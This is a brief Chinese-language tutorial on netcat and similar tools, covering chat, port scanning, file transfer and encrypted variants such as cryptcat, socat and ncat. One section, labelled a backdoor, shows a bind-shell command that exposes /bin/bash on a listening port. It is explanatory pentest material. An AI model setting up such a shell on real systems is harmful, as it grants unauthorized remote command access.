1.用于对话:
机器A:netcat -l -p 443
机器B:netcat 192.168.59.142 443
2.端口发现
虽然netcat不能提供类似nmap,scapy所能提供的高级功能,但是它可以用来发现端口。
nc -v -w 2 -z 192.168.59.142 1-100
![](http://dl2.iteye.com/upload/attachment/0102/4230/2a95ac0c-76cb-3124-bcc9-5213bc91c0f2.jpg)
3.文件传输
机器A:nc –lv -p 123 > test.txt
机器B:nc 192.168.118.130 123 < test1.txt
4.后门
机器A:nc -l -p 443 -e /bin/bash(监听)
机器B:netcat 192.168.59.142 443(连接)
Cryptcat是使用twofish加密后的netcat克隆。发送/接收的数据包都经过加密处理。初次之外,他和netcat功能一样。 http://sourceforge.net/projects/cryptcat/files/
SBD使用AES-CBC-128 + HMAC-SHA1加密的netcat
Socat:类似netcat,但是支持不同的协议,它可以用于文件,管道,socket,代理,ssl等
Ncat:处了支持netcat功能外,它还支持高级特性,例如IPv6,Ncat 链,SCTP支持等。而且还支持ssl,支持HTTP/SOCKS代理,也可以用作代理。我们也可以使用deny选项来设置我们不希望连接的黑名单。另一个有趣的选项是‘broker’,允许多个host连接到一个集中式的ncat server并且彼此通信。
使用ssl传输文件:
机器A:ncat –l –ssl 123 >Ncattest.txt
机器B:ncat 192.168.118.130 123 –ssl < test2.txt